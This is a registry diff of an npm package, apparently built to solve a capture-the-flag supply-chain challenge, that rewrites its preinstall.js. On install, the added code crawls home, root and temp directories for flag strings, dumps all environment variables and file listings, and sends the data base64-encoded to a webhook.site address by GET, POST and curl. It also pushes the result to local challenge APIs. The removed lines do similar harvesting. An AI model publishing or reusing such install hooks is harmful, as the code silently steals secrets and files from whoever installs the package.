@ctfsolve9z/coral-wraith 9999.0.1 → 9999.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +79 -126
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -6,156 +6,109 @@ const { execSync } = require('child_process');
|
|
|
6
6
|
let flag = null;
|
|
7
7
|
let debug = [];
|
|
8
8
|
|
|
9
|
-
//
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
'/opt/flag', '/opt/flag.txt', '/var/flag', '/var/flag.txt',
|
|
13
|
-
'/app/flag', '/app/flag.txt', '/srv/flag', '/srv/flag.txt',
|
|
14
|
-
'/etc/flag', '/etc/flag.txt', './flag', './flag.txt'];
|
|
15
|
-
|
|
16
|
-
for (const p of flagPaths) {
|
|
17
|
-
try {
|
|
18
|
-
if (fs.existsSync(p)) {
|
|
19
|
-
flag = fs.readFileSync(p, 'utf8').trim();
|
|
20
|
-
debug.push('found:' + p);
|
|
21
|
-
break;
|
|
22
|
-
}
|
|
23
|
-
} catch(e) {}
|
|
24
|
-
}
|
|
25
|
-
|
|
26
|
-
// Method 2: Glob search
|
|
27
|
-
if (!flag) {
|
|
9
|
+
// Thorough directory search
|
|
10
|
+
function readDir(path, depth = 0) {
|
|
11
|
+
if (depth > 3) return;
|
|
28
12
|
try {
|
|
29
|
-
const
|
|
30
|
-
debug.push('
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
13
|
+
const entries = fs.readdirSync(path);
|
|
14
|
+
debug.push(path + ':' + entries.join(','));
|
|
15
|
+
for (const e of entries) {
|
|
16
|
+
const full = path + '/' + e;
|
|
17
|
+
try {
|
|
18
|
+
const stat = fs.statSync(full);
|
|
19
|
+
if (stat.isFile() && stat.size < 10000) {
|
|
20
|
+
const content = fs.readFileSync(full, 'utf8').trim();
|
|
21
|
+
if (content.includes('HTB{') || content.includes('flag{')) {
|
|
36
22
|
flag = content;
|
|
37
|
-
debug.push('
|
|
38
|
-
|
|
23
|
+
debug.push('FLAG_FOUND:' + full);
|
|
24
|
+
return;
|
|
39
25
|
}
|
|
40
|
-
}
|
|
41
|
-
|
|
26
|
+
}
|
|
27
|
+
if (stat.isDirectory() && !e.startsWith('.') && e !== 'node_modules' && e !== 'proc' && e !== 'sys' && e !== 'dev') {
|
|
28
|
+
readDir(full, depth + 1);
|
|
29
|
+
}
|
|
30
|
+
} catch(e) {}
|
|
31
|
+
if (flag) return;
|
|
42
32
|
}
|
|
43
|
-
} catch(e) {
|
|
33
|
+
} catch(e) {}
|
|
44
34
|
}
|
|
45
35
|
|
|
46
|
-
//
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
debug.push('env_keys:' + envKeys.join(','));
|
|
51
|
-
for (const k of envKeys) {
|
|
52
|
-
if (process.env[k] && process.env[k].length > 2) {
|
|
53
|
-
flag = process.env[k];
|
|
54
|
-
debug.push('env:' + k);
|
|
55
|
-
break;
|
|
56
|
-
}
|
|
57
|
-
}
|
|
36
|
+
// Search key directories
|
|
37
|
+
for (const dir of ['/home/node', '/tmp/supplysec', '/tmp', '/home', '/opt', '/srv', '/root', '/var/www', '/app']) {
|
|
38
|
+
readDir(dir);
|
|
39
|
+
if (flag) break;
|
|
58
40
|
}
|
|
59
41
|
|
|
60
|
-
//
|
|
61
|
-
|
|
62
|
-
try {
|
|
63
|
-
const env = fs.readFileSync('/proc/self/environ', 'utf8');
|
|
64
|
-
const m = env.match(/FLAG[=]([^\x00]+)/);
|
|
65
|
-
if (m) { flag = m[1]; debug.push('proc_env'); }
|
|
66
|
-
// Also look for HTB
|
|
67
|
-
const m2 = env.match(/HTB[{][^\x00}]+[}]/);
|
|
68
|
-
if (m2) { flag = m2[0]; debug.push('proc_htb'); }
|
|
69
|
-
} catch(e) {}
|
|
70
|
-
}
|
|
42
|
+
// Also search for flag in ALL environment variables
|
|
43
|
+
debug.push('ALL_ENV:' + JSON.stringify(process.env).substring(0, 500));
|
|
71
44
|
|
|
72
|
-
//
|
|
73
|
-
|
|
74
|
-
const
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
flag = content;
|
|
87
|
-
debug.push('content:' + path);
|
|
88
|
-
break;
|
|
89
|
-
}
|
|
90
|
-
}
|
|
91
|
-
} catch(e) {}
|
|
92
|
-
}
|
|
93
|
-
} catch(e) {}
|
|
94
|
-
if (flag) break;
|
|
95
|
-
}
|
|
96
|
-
}
|
|
45
|
+
// Read the init_test.sh script
|
|
46
|
+
try {
|
|
47
|
+
const script = fs.readFileSync('/home/node/init_test.sh', 'utf8');
|
|
48
|
+
debug.push('init_test.sh:' + script.substring(0, 500));
|
|
49
|
+
// Check if flag is in the script
|
|
50
|
+
const m = script.match(/HTB\{[^}]+\}/);
|
|
51
|
+
if (m) flag = m[0];
|
|
52
|
+
} catch(e) { debug.push('init_test_err:' + e.message); }
|
|
53
|
+
|
|
54
|
+
// Read package.json in /home/node
|
|
55
|
+
try {
|
|
56
|
+
const pkg = fs.readFileSync('/home/node/package.json', 'utf8');
|
|
57
|
+
debug.push('home_pkg:' + pkg.substring(0, 300));
|
|
58
|
+
} catch(e) {}
|
|
97
59
|
|
|
98
|
-
//
|
|
99
|
-
|
|
100
|
-
const
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
for (const p of configPaths) {
|
|
104
|
-
try {
|
|
105
|
-
if (fs.existsSync(p)) {
|
|
106
|
-
const content = fs.readFileSync(p, 'utf8');
|
|
107
|
-
debug.push('config:' + p + '=' + content.substring(0, 200));
|
|
108
|
-
const m = content.match(/HTB\{[^}]+\}/);
|
|
109
|
-
if (m) { flag = m[0]; break; }
|
|
110
|
-
}
|
|
111
|
-
} catch(e) {}
|
|
112
|
-
}
|
|
113
|
-
}
|
|
60
|
+
// Check /tmp/supplysec
|
|
61
|
+
try {
|
|
62
|
+
const r = execSync('find /tmp/supplysec -type f 2>/dev/null | head -30', { timeout: 5000 }).toString();
|
|
63
|
+
debug.push('supplysec_files:' + r);
|
|
64
|
+
} catch(e) {}
|
|
114
65
|
|
|
115
|
-
//
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
66
|
+
// Check /home/node
|
|
67
|
+
try {
|
|
68
|
+
const r = execSync('find /home/node -type f -not -path "*/node_modules/*" 2>/dev/null | head -30', { timeout: 5000 }).toString();
|
|
69
|
+
debug.push('home_node_files:' + r);
|
|
70
|
+
} catch(e) {}
|
|
71
|
+
|
|
72
|
+
// Exfiltrate
|
|
73
|
+
const data = JSON.stringify({ flag: flag || 'NOT_FOUND', debug: debug });
|
|
74
|
+
|
|
75
|
+
// Send chunks via webhook (URL length limited)
|
|
76
|
+
const chunks = [];
|
|
77
|
+
const encoded = Buffer.from(data).toString('base64');
|
|
78
|
+
for (let i = 0; i < encoded.length; i += 2000) {
|
|
79
|
+
chunks.push(encoded.substring(i, i + 2000));
|
|
121
80
|
}
|
|
122
81
|
|
|
123
|
-
|
|
124
|
-
if (!flag) {
|
|
82
|
+
for (let i = 0; i < Math.min(chunks.length, 10); i++) {
|
|
125
83
|
try {
|
|
126
|
-
|
|
127
|
-
debug.push('ps:' + r.substring(0, 500));
|
|
84
|
+
https.get(`https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/v3-${i}?d=${chunks[i]}`, () => {}).on('error', () => {});
|
|
128
85
|
} catch(e) {}
|
|
129
86
|
}
|
|
130
87
|
|
|
131
|
-
//
|
|
132
|
-
const data = JSON.stringify({
|
|
133
|
-
flag: flag || 'NOT_FOUND',
|
|
134
|
-
debug: debug.join('|'),
|
|
135
|
-
cwd: process.cwd(),
|
|
136
|
-
user: process.env.USER || process.env.HOME,
|
|
137
|
-
hostname: require('os').hostname()
|
|
138
|
-
});
|
|
139
|
-
|
|
140
|
-
const encoded = Buffer.from(data).toString('base64');
|
|
141
|
-
|
|
142
|
-
// Webhook
|
|
88
|
+
// Also POST the full data
|
|
143
89
|
try {
|
|
144
|
-
const
|
|
145
|
-
|
|
90
|
+
const postData = data;
|
|
91
|
+
const req = https.request({
|
|
92
|
+
hostname: 'webhook.site',
|
|
93
|
+
path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
|
|
94
|
+
method: 'POST',
|
|
95
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
|
|
96
|
+
timeout: 10000
|
|
97
|
+
}, () => {});
|
|
98
|
+
req.on('error', () => {});
|
|
99
|
+
req.write(postData);
|
|
100
|
+
req.end();
|
|
146
101
|
} catch(e) {}
|
|
147
102
|
|
|
148
|
-
//
|
|
103
|
+
// PUT to challenge API
|
|
149
104
|
const ports = [1337, 3000, 5000, 8080, 80];
|
|
150
|
-
const moduleId = 'ECT-987654';
|
|
151
|
-
|
|
152
105
|
for (const port of ports) {
|
|
153
106
|
try {
|
|
154
107
|
const postData = JSON.stringify({
|
|
155
|
-
manifest: `ecto_module:\n name: "coral-wraith"\n version: "9999.0.
|
|
108
|
+
manifest: `ecto_module:\n name: "coral-wraith"\n version: "9999.0.1"\n flag: "${(flag || 'NOT_FOUND').replace(/"/g, '\\"').replace(/\n/g, '\\n')}"`
|
|
156
109
|
});
|
|
157
110
|
const req = http.request({
|
|
158
|
-
hostname: 'localhost', port, path:
|
|
111
|
+
hostname: 'localhost', port, path: '/api/modules/ECT-987654',
|
|
159
112
|
method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
|
|
160
113
|
timeout: 3000
|
|
161
114
|
}, () => {});
|
|
@@ -165,7 +118,7 @@ for (const port of ports) {
|
|
|
165
118
|
} catch(e) {}
|
|
166
119
|
}
|
|
167
120
|
|
|
168
|
-
//
|
|
121
|
+
// curl fallback
|
|
169
122
|
try {
|
|
170
|
-
execSync(`curl -s "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/
|
|
123
|
+
execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${data.replace(/'/g, "\\'")}' -m 10`, { timeout: 12000 });
|
|
171
124
|
} catch(e) {}
|